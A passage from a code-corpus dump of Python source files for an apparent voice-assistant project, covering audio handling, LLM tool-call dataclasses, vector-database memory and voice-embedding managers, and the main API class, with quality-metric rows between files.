if len(self.recovery_timestamps) >= self.max_recoveries_per_minute:
raise Exception(f"Maximum recoveries of {self.max_recoveries_per_minute} per minute surpassed for process: {self.function.__name__}. Total recoveries during lifetime: {self.total_recoveries}.")
self.total_recoveries += 1
self.recovery_timestamps.append(time())
self.start_process() | 2,278 | recovery_manager | py | en | python | code | {"qsc_code_num_words": 267, "qsc_code_num_chars": 2278.0, "qsc_code_mean_word_length": 5.53183521, "qsc_code_frac_words_unique": 0.33707865, "qsc_code_frac_chars_top_2grams": 0.07921462, "qsc_code_frac_chars_top_3grams": 0.12863913, "qsc_code_frac_chars_top_4grams": 0.11916046, "qsc_code_frac_chars_dupe_5grams": 0.07312119, "qsc_code_frac_chars_dupe_6grams": 0.03791469, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00750144, "qsc_code_frac_chars_whitespace": 0.23924495, "qsc_code_size_file_byte": 2278.0, "qsc_code_num_lines": 57.0, "qsc_code_num_chars_line_max": 249.0, "qsc_code_num_chars_line_mean": 39.96491228, "qsc_code_frac_chars_alphabet": 0.84477784, "qsc_code_frac_chars_comments": 0.11413521, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.05714286, "qsc_code_frac_chars_string_length": 0.21948718, "qsc_code_frac_chars_long_word_length": 0.09333333, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.17142857, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.02857143, "qsc_codepython_frac_lines_import": 0.08571429, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.37142857, "qsc_codepython_frac_lines_print": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0} |
00Julian00/Nova2 | app/audio_data.py | from pydub import AudioSegment
import io
import wave
from Nova2.app.interfaces import AudioDataBase
class AudioData(AudioDataBase):
def __init__(self, data: bytes | list[bytes]) -> None:
if type(data) == bytes:
self._store_audio([data])
else:
self._store_audio(data) # type: ignore
def _store_audio(self, data: list[bytes]) -> None:
data_full = b''.join(data)
self._audio_data = self._process_audio(data_full)
def _process_audio(self, data: bytes) -> AudioSegment:
if data.startswith(b'RIFF'): # Handle wave audio
with io.BytesIO(data) as bio:
with wave.open(bio, 'rb') as wave_file:
sample_width = wave_file.getsampwidth()
channels = wave_file.getnchannels()
framerate = wave_file.getframerate()
audio_data = wave_file.readframes(wave_file.getnframes())
return AudioSegment(
data=audio_data,
sample_width=sample_width,
frame_rate=framerate,
channels=channels
)
else: # Handle mp3 audio
return AudioSegment.from_file(
io.BytesIO(data),
format='mp3'
) | 1,342 | audio_data | py | en | python | code | {"qsc_code_num_words": 138, "qsc_code_num_chars": 1342.0, "qsc_code_mean_word_length": 5.14492754, "qsc_code_frac_words_unique": 0.38405797, "qsc_code_frac_chars_top_2grams": 0.07605634, "qsc_code_frac_chars_top_3grams": 0.03661972, "qsc_code_frac_chars_top_4grams": 0.05070423, "qsc_code_frac_chars_dupe_5grams": 0.0, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00350058, "qsc_code_frac_chars_whitespace": 0.36140089, "qsc_code_size_file_byte": 1342.0, "qsc_code_num_lines": 40.0, "qsc_code_num_chars_line_max": 78.0, "qsc_code_num_chars_line_mean": 33.55, "qsc_code_frac_chars_alphabet": 0.82497083, "qsc_code_frac_chars_comments": 0.03502235, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0625, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00696594, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.09375, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.125, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.3125, "qsc_codepython_frac_lines_print": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0} |
00Julian00/Nova2 | app/tool_data.py | """
Description: Holds all data required for tool use.
"""
from dataclasses import dataclass
from Nova2.tool_api.tool_api import ToolBaseClass
from Nova2.app.interfaces import (
LLMToolBase,
LLMToolParameterBase,
LoadedToolBase,
LLMToolCallBase,
LLMToolCallParameterBase
)
@dataclass
class LLMToolParameter(LLMToolParameterBase):
name: str
description: str
datatype: str
required: bool
@dataclass
class LLMTool(LLMToolBase):
name: str
description: str
parameters: list[LLMToolParameter]
_instance: callable # type: ignore
def to_dict(self) -> dict:
properties = {}
required_params = []
# Turn the parameters into a single properties object
for param in self.parameters:
properties[param.name] = {
"type": param.datatype,
"description": param.description
}
if param.required:
required_params.append(param.name)
tool = {
"type": "function",
"function": {
"name": self.name,
"description": self.description,
"parameters": {
"type": "object",
"properties": properties,
"required": required_params
}
}
}
return tool
@dataclass
class LoadedTool(LoadedToolBase):
name: str
class_instance: ToolBaseClass
@dataclass
class LLMToolCallParameter(LLMToolCallParameterBase):
"""
Defines a parameter for a tool call.
"""
name: str
value: str
@dataclass
class LLMToolCall(LLMToolCallBase):
"""
Defines a tool call made by the LLM.
"""
name: str
parameters: list[LLMToolCallParameter]
id: str
| 1,811 | tool_data | py | en | python | code | {"qsc_code_num_words": 158, "qsc_code_num_chars": 1811.0, "qsc_code_mean_word_length": 6.74050633, "qsc_code_frac_words_unique": 0.40506329, "qsc_code_frac_chars_top_2grams": 0.0657277, "qsc_code_frac_chars_top_3grams": 0.03380282, "qsc_code_frac_chars_top_4grams": 0.03943662, "qsc_code_frac_chars_dupe_5grams": 0.0, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00163532, "qsc_code_frac_chars_whitespace": 0.3246825, "qsc_code_size_file_byte": 1811.0, "qsc_code_num_lines": 78.0, "qsc_code_num_chars_line_max": 62.0, "qsc_code_num_chars_line_mean": 23.21794872, "qsc_code_frac_chars_alphabet": 0.86917416, "qsc_code_frac_chars_comments": 0.10491441, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.21052632, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.05562579, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.01754386, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.05263158, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.43859649, "qsc_codepython_frac_lines_print": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0} |
00Julian00/Nova2 | app/database_manager.py | """
Description: Manages the databases and provides a simple interface
"""
from typing import Tuple
import uuid
from pathlib import Path
import warnings
import re
import torch
from transformers import AutoModel
from qdrant_client import QdrantClient
from qdrant_client.models import PointStruct, Distance, VectorParams
from qdrant_client.http import models
from sqlalchemy.ext.declarative import declarative_base
from Nova2.app.helpers import suppress_output, Singleton
base = declarative_base()
# RAG hat Swag. LG an Valentin Weyer.
class MemoryEmbeddingDatabaseManager(Singleton):
def __init__(self):
"""
This class is responsible for managing the memory database which stores memories as text-embeddings.
It also provides a semantic search system used for retrieval augmented generation.
"""
self._qdrant_client: QdrantClient = None # type: ignore
self.text_embedding_model = None
self._prepare_database()
def create_new_entry(self, text: str) -> None:
"""
Write new entry to the database. The input is chunked into sentences and each sentence is converted into
a text embedding.
Arguments:
text (str): The text that should be stored to the database.
"""
split_text = re.split('[.!?]', text) # Split into sentences before storing
for text in split_text:
self._save_embedding_to_db(text)
def _save_embedding_to_db(self, text: str) -> None:
embedding = self._compute_embedding(text)
#Prevent duplicate entries
if self._is_embedding_in_database(self._torch_tensor_to_float_list(embedding)):
warnings.warn("Similar or exact embedding already exists in memory embedding database.")
return
id = self._qdrant_client.get_collection("memory_embeddings").points_count
self._qdrant_client.upsert(
collection_name="memory_embeddings",
points=[
PointStruct(
id=id, # type: ignore
vector=embedding, # type: ignore
payload={"text": text}
)
]
)
def search_semantic(
self,
text: str,
num_of_results: int = 1,
search_area: int = 0,
cosine_threshold: float = 0.6
) -> list[list[str]] | None:
"""
Perform a semantic search in the database.
Arguments:
text (str): The text to do a semantic search on.
num_of_results (int): The amount of results that should be returned. Only returns the maximum amount of results that pass the cosine similarity threshold. Defaults to 1.
search_area (int): The amount of earlier and later entries around each result. If set to 0, only the result itself will be returned. Defaults to 0.
Returns:
list[list[str]]. Each string list is a result with the entries around the result in chronological order. Returns None if no results surpassed the cosine similarity threshold.
"""
query_embedding = self._torch_tensor_to_float_list(self._compute_embedding(text=text))
search_results = self._qdrant_client.query_points(
collection_name="memory_embeddings",
query=query_embedding,
limit=num_of_results
)
# Filter out all results that do not surpass the threshold
results = [
result for result in search_results.points
if result.score >= cosine_threshold
]
if len(results) == 0:
return None
# The search is finished. The return structure can be built and returned
if search_area <= 0:
return [[result.payload["text"]] for result in results] # type: ignore
# Loop through all results and do area queries
return_list = []
for result in results:
return_list.append(self._query_area(result.id, search_area)) # type: ignore
return return_list
def _query_area(self, center_id: int, size: int) -> list[str]:
"""
Query entries around the specified entry to provide more context to the search result of the semantic search.
Arguments:
center_id (int): The index of the semantic search result.
size (int): How many earlier and later entries should be queried. The amount of returned entries is 2 * size + 1.
Returns:
list[str]: A list of results from the database.
"""
max_id = self._qdrant_client.get_collection("memory_embeddings").points_count - 1 # type: ignore
limit_down = size
limit_up = size
start_id = center_id - size
# Ensure the start is inside the bounds of the db
if (center_id - size < 0):
start_id = 0
limit_down = 0 # Ensure the area shrinks if the query starts at 0 instead of being offset upwards
elif (start_id + limit_up > max_id):
start_id = max_id
limit_up = 0 # Ensure the area shrinks if the query is partially greater than the collection size
search_results = self._qdrant_client.query_points(
collection_name="memory_embeddings",
limit=limit_down + limit_up + 1,
offset=start_id
)
return [result.payload["text"] for result in search_results.points] # type: ignore
def _is_embedding_in_database(self, embedding: list[float], similarity_threshold: float = 0.8) -> bool:
results = self._qdrant_client.query_points(
collection_name="memory_embeddings",
query=embedding,
limit=1,
score_threshold=similarity_threshold
)
return len(results.points) > 0
def _compute_embedding(self, text: str) -> torch.Tensor:
"""
Computes an embedding for a given text with shape (1024).
Arguments:
text (str): The text that will be converted into an embedding.
Returns:
torch.FloatTensor: The computed embedding.
"""
embedding = self.text_embedding_model.encode(text, task="text-matching") # type: ignore
return torch.from_numpy(embedding).squeeze()
def _prepare_database(self) -> None:
db_location = Path(__file__).parent.parent / "db" / "db_memory_embeddings"
self._qdrant_client = QdrantClient(path=db_location) # type: ignore
if not self.text_embedding_model:
with warnings.catch_warnings(action="ignore"): # Blocks a deprecation warning
with suppress_output(): # Don't show model downloads
self.text_embedding_model = AutoModel.from_pretrained("jinaai/jina-embeddings-v3", trust_remote_code=True).to("cuda")
if not self._qdrant_client.collection_exists("memory_embeddings"):
self._qdrant_client.create_collection(collection_name="memory_embeddings", vectors_config=VectorParams(size=1024, distance=Distance.COSINE))
def _torch_tensor_to_float_list(self, embedding: torch.Tensor) -> list[float]:
return embedding.squeeze().cpu().numpy().tolist()
class VoiceDatabaseManager(Singleton):
def __init__(self) -> None:
"""
This class is responsible for managing the database that stores the voice embeddings generated by 'transcriptor.py'.
It also provides a method to compare two embeddings to determine whether two voices match.
"""
self._qdrant_client: QdrantClient = None # type: ignore
self._prepare_database()
def create_voice(self, embedding: torch.Tensor, name: str) -> None:
"""
Creates a new entry in the database.
Arguments:
embedding (torch.FloatTensor): The embedding that will be stored in the database.
name (str): The name of the person the voice belongs to. Will be stored together with the embedding.
"""
self._qdrant_client.upsert(
collection_name="voice_embeddings",
points=[
PointStruct(
id=str(uuid.uuid4()),
vector=self._torch_tensor_to_float_list(embedding),
payload={"name": name}
)
]
)
def create_unknown_voice(self, embedding: torch.Tensor) -> str:
"""
Creates a new voice with the name "UnknownVoiceX", where X is a number starting from 0. These can later be replaced with the correct name, after the system has obtained the name.
Arguments:
embedding (torch.FloatTensor): The embedding that will be stored in the database.
"""
unknown_counter = 0
while self.does_voice_exist(f"UnknownVoice{unknown_counter}"): # Find an index that is not already in use
unknown_counter += 1
self.create_voice(embedding, f"UnknownVoice{unknown_counter}")
return f"UnknownVoice{unknown_counter}"
def get_voice_name_from_embedding(self, embedding: torch.Tensor) -> Tuple[str, float] | None:
"""
Searches for the closest voice embedding to the given embedding.
Returns the name of the closest voice embedding together with the confidence score.
Arguments:
embedding (torch.FloatTensor): The embedding to search for.
Returns:
Tuple[str, float] | None: Either returns a tuple with the name of the voice and the confidence score or None if no voice could be found.
"""
search_results = self._qdrant_client.search(
collection_name="voice_embeddings",
query_vector=self._torch_tensor_to_float_list(embedding),
limit=1
)
if len(search_results) > 0:
return search_results[0].payload["name"], search_results[0].score # type: ignore
else:
return None
def does_voice_exist(self, name: str) -> bool:
"""
Checks if a voice embedding with the given name exists in the database.
Arguments:
name (str): The name to search for.
Returns:
bool: Whether a voice with that name already exists in the database.
"""
filter_condition = models.Filter(
must=[
models.FieldCondition(
key="name",
match=models.MatchValue(value=name)
)
]
)
search_result = self._qdrant_client.scroll(
collection_name="voice_embeddings",
scroll_filter=filter_condition,
limit=1
)
return len(search_result[0]) > 0
def get_voice_id(self, embedding: torch.FloatTensor) -> int | None:
"""
Searches for the ID of a voice embedding in the database.
Arguments:
embedding (torch.FloatTensor): The voice embedding to search for.
Returns:
int | None: The index of the voice or None if no voice was found.
"""
search_results = self._qdrant_client.search(
collection_name="voice_embeddings",
query_vector=self._torch_tensor_to_float_list(embedding),
limit=1
)
if len(search_results) > 0:
return search_results[0].id # type: ignore
else:
return None
def edit_voice_name(self, old_name: str, new_name: str) -> bool:
"""
Edit the name of a voice in the database.
Arguments:
old_name (str): The name to search for.
new_name (str): What to name the voice.
Returns:
bool: Whether the operation was successful.
"""
# Find the voice ID using the old name
search_result = self._qdrant_client.scroll(
collection_name="voice_embeddings",
scroll_filter=models.Filter(
must=[
models.FieldCondition(
key="name",
match=models.MatchValue(value=old_name)
)
]
),
limit=1
)
if not search_result[0]: # Return False if no voice was found.
return False
voice_id = search_result[0][0].id
# Update the name
self._qdrant_client.set_payload(
collection_name="voice_embeddings",
payload={"name": new_name},
points=[voice_id]
)
return True
def _prepare_database(self) -> None:
db_location = Path(__file__).parent.parent / "db" / "db_voice_embeddings"
self._qdrant_client = QdrantClient(path=db_location) # type: ignore
if not self._qdrant_client.collection_exists("voice_embeddings"):
self._qdrant_client.create_collection(collection_name="voice_embeddings", vectors_config=VectorParams(size=512, distance=Distance.COSINE))
def _torch_tensor_to_float_list(self, embedding: torch.Tensor) -> list[float]:
return embedding.squeeze().cpu().numpy().tolist()
| 13,197 | database_manager | py | en | python | code | {"qsc_code_num_words": 1567, "qsc_code_num_chars": 13197.0, "qsc_code_mean_word_length": 5.07785578, "qsc_code_frac_words_unique": 0.19655392, "qsc_code_frac_chars_top_2grams": 0.03468644, "qsc_code_frac_chars_top_3grams": 0.04021616, "qsc_code_frac_chars_top_4grams": 0.01583511, "qsc_code_frac_chars_dupe_5grams": 0.36810356, "qsc_code_frac_chars_dupe_6grams": 0.32110092, "qsc_code_frac_chars_dupe_7grams": 0.28276989, "qsc_code_frac_chars_dupe_8grams": 0.24632399, "qsc_code_frac_chars_dupe_9grams": 0.19982405, "qsc_code_frac_chars_dupe_10grams": 0.19982405, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00573469, "qsc_code_frac_chars_whitespace": 0.29968932, "qsc_code_size_file_byte": 13197.0, "qsc_code_num_lines": 349.0, "qsc_code_num_chars_line_max": 187.0, "qsc_code_num_chars_line_mean": 37.81375358, "qsc_code_frac_chars_alphabet": 0.85522614, "qsc_code_frac_chars_comments": 0.31795105, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.28342246, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.06596306, "qsc_code_frac_chars_long_word_length": 0.01343248, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.09625668, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.06417112, "qsc_codepython_frac_lines_simplefunc": 0.0106951871657754, "qsc_codepython_score_lines_no_logic": 0.26203209, "qsc_codepython_frac_lines_print": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0} |
00Julian00/Nova2 | app/api_implementation.py | """
Description: Implements the main API.
"""
from pathlib import Path
import logging
import time
from Nova2.app.tts_manager import TTSManager
from Nova2.app.llm_manager import LLMManager
from Nova2.app.audio_manager import AudioPlayer
from Nova2.app.stt_manager import VoiceAnalysis
from Nova2.app.context_manager import ContextManager, ContextDatapoint
from Nova2.app.inference_engine_manager import InferenceEngineManager
from Nova2.app.security_manager import SecretsManager
from Nova2.app.api_base import APIAbstract
from Nova2.app.context_data import ContextSource_Assistant, ContextGenerator
from Nova2.app.tool_manager import ToolManager
from Nova2.app.interfaces import (
STTConditioningBase,
LLMConditioningBase,
TTSConditioningBase,
LLMToolBase,
LLMResponseBase,
ContextBase,
ContextDatapointBase,
ConversationBase,
MemoryConfigBase,
AudioDataBase,
ContextGeneratorBase,
ContextSourceBase,
)
class NovaAPI(APIAbstract):
"""
Primary API to interact with the Nova system.
"""
def __init__(self) -> None:
self._tts = TTSManager()
self._llm = LLMManager()
self._stt = VoiceAnalysis()
self._context = ContextManager()
self._context_data = ContextManager()
self._player = AudioPlayer()
self._security = SecretsManager()
self._engine_manager = InferenceEngineManager()
self._tool_manager = ToolManager()
logging.getLogger().setLevel(logging.CRITICAL)
def configure_stt(self, conditioning: STTConditioningBase) -> None:
self._stt.configure(conditioning=conditioning) # type: ignore
def configure_llm(self, conditioning: LLMConditioningBase) -> None:
self._llm.configure(conditioning=conditioning) # type: ignore
def configure_tts(self, conditioning: TTSConditioningBase) -> None:
self._tts.configure(conditioning=conditioning) # type: ignore
def configure_stt_and_apply(self, conditioning: STTConditioningBase) -> None:
self.configure_stt(conditioning=conditioning)
self.apply_config_stt()
def configure_llm_and_apply(self, conditioning: LLMConditioningBase) -> None:
self.configure_llm(conditioning=conditioning)
self.apply_config_llm()
def configure_tts_and_apply(self, conditioning: TTSConditioningBase) -> None:
self.configure_tts(conditioning=conditioning)
self.apply_config_tts()
def apply_config_all(self) -> None:
self._tts.apply_config()
self._llm.apply_config()
self._stt.apply_config()
def apply_config_llm(self) -> None:
self._llm.apply_config()
def apply_config_tts(self) -> None:
self._tts.apply_config()
def apply_config_stt(self) -> None:
self._stt.apply_config()
def load_tools(self, load_internal_tools: bool = True, **kwargs) -> list[LLMToolBase]:
return self._tool_manager.load_tools(load_internal=load_internal_tools, **kwargs) # type: ignore
def execute_tool_calls(self, llm_response: LLMResponseBase) -> None:
self._tool_manager.execute_tool_call(tool_calls=llm_response.tool_calls) # type: ignore
def run_llm(self, conversation: ConversationBase, memory_config: MemoryConfigBase = None, tools: list[LLMToolBase] = None, instruction: str = "") -> LLMResponseBase: # type: ignore
return self._llm.prompt_llm(conversation=conversation, tools=tools, memory_config=memory_config, instruction=instruction) # type: ignore
def run_tts(self, text: str) -> AudioDataBase:
return self._tts.run_inference(text=text)
def start_stt(self) -> ContextGeneratorBase:
return ContextGenerator(self._stt.start())
def bind_context_source(self, source: ContextGeneratorBase) -> None:
self._context.record_data(source) # type: ignore
def is_context_initialized(self) -> bool:
return self._context.is_context_initialized()
def set_active_context_file(self, file_name: str = "") -> None:
self._context.set_active_context_file(file_name=file_name)
def get_all_context_files(self) -> list[str]:
return self._context.get_all_context_files()
def rename_context_file(self, old_name: str, new_name: str) -> None:
self._context.rename_context_file(old_name=old_name, new_name=new_name)
def get_active_context_file(self) -> str:
return self._context.get_active_context_file()
def get_context(self) -> ContextBase:
return self._context_data.get_context_data()
def set_context(self, context: ContextBase) -> None:
self._context_data._overwrite_context(context.data_points) # type: ignore
def set_ctx_limit(self, ctx_limit: int) -> None:
self._context_data.ctx_limit = ctx_limit
def add_to_context(self, source: ContextSourceBase, content: str) -> None: # type: ignore
dp = ContextDatapoint(
source=source, # type: ignore
content=content
)
ContextManager().add_to_context(datapoint=dp)
def add_datapoint_to_context(self, datapoint: ContextDatapointBase) -> None:
ContextManager().add_to_context(datapoint=datapoint) # type: ignore
def add_llm_response_to_context(self, response: LLMResponseBase) -> None:
if len(response.tool_calls) > 0: # type: ignore
for tool_call in response.tool_calls: # type: ignore
self._context_data.add_to_context(
ContextDatapoint(
source=ContextSource_Assistant(),
content=f"Called tool \"{tool_call.name}\""
))
else:
self._context_data.add_to_context(
ContextDatapoint(
source=ContextSource_Assistant(),
content=response.message # type: ignore
))
def play_audio(self, audio_data: AudioDataBase) -> None:
self._player.play_audio(audio_data) # type: ignore
def wait_for_audio_playback_end(self) -> None:
while self._player.is_playing():
time.sleep(0.1)
def is_playing_audio(self) -> bool:
return self._player.is_playing()
def clone_voice(self, engine: str, mp3file: Path, name: str) -> None:
eng = self._engine_manager.request_engine(name=engine, eng_type="TTS")
eng.clone_voice(audio_dir=str(mp3file), name=name) # type: ignore
def huggingface_login(self):
self._security.huggingface_login()
def stay_alive(self, condition: bool = True) -> None:
while condition:
